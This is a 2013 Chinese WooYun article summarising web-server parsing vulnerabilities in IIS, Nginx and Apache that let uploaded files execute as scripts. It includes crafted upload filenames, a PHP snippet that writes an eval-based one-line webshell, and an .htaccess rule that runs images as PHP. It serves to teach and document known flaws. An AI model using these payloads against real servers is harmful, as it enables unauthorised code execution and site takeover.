[解析漏洞总结](http://drops.wooyun.org/papers/539)

15人收藏 [收藏](javascript:void(0))

2013/09/02 11:25 | [erevus](http://drops.wooyun.org/author/erevus) | [漏洞分析](http://drops.wooyun.org/category/papers) | [占个座先](http://drops.wooyun.org/papers/539#respond)

一、IIS 5.x/6.0解析漏洞

IIS 6.0解析利用方法有两种

1.目录解析

/xx.asp/xx.jpg

2.文件解析

wooyun.asp;.jpg

第一种，在网站下建立文件夹的名字为 *.asp、*.asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录 wooyun.asp，那么

/wooyun.asp/1.jpg

将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

第二种，在IIS6.0下，分号后面的不被解析，也就是说

wooyun.asp;.jpg

会被服务器看成是wooyun.asp

还有IIS6.0 默认的可执行文件除了asp还包含这三种

/wooyun.asa

/wooyun.cer

/wooyun.cdx

乌云上的IIS 6.0解析漏洞利用案例

<http://www.wooyun.org/searchbug.php?q=IIS6.0>

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg，内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($\_POST[cmd])?>');?>

的文件，然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

这个漏洞案例

[WooYun: 用友软件某分站SQL注入漏洞+nginx解析漏洞](http://www.wooyun.org/bugs/wooyun-2013-032250)

[WooYun: 新浪网分站多处安全漏洞（nginx解析+SQL注射等）小礼包](http://www.wooyun.org/bugs/wooyun-2013-021064)

[WooYun: kingsoft.com某x级域名nginx解析漏洞+爆路径](http://www.wooyun.org/bugs/wooyun-2013-019253)

三、Nginx <8.03 空字节代码执行漏洞

影响版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码然后通过访问

xxx.jpg%00.php

来执行其中的代码

Nginx 空字节代执行漏洞案例

<http://www.wooyun.org/searchbug.php?q=%2500.php>

四、Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…（把你知道的常见后缀都写上…）去测试是否是合法后缀

Apache解析漏洞案例

<http://www.wooyun.org/searchbug.php?q=apache%E8%A7%A3%E6%9E%90>

五、其他

在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点,黑客可以通过抓包，在文件名后加一个空格或者点绕过黑名单.若上传成功，空格和点都会被windows自动消除,这样也可以getshell。

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

<FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。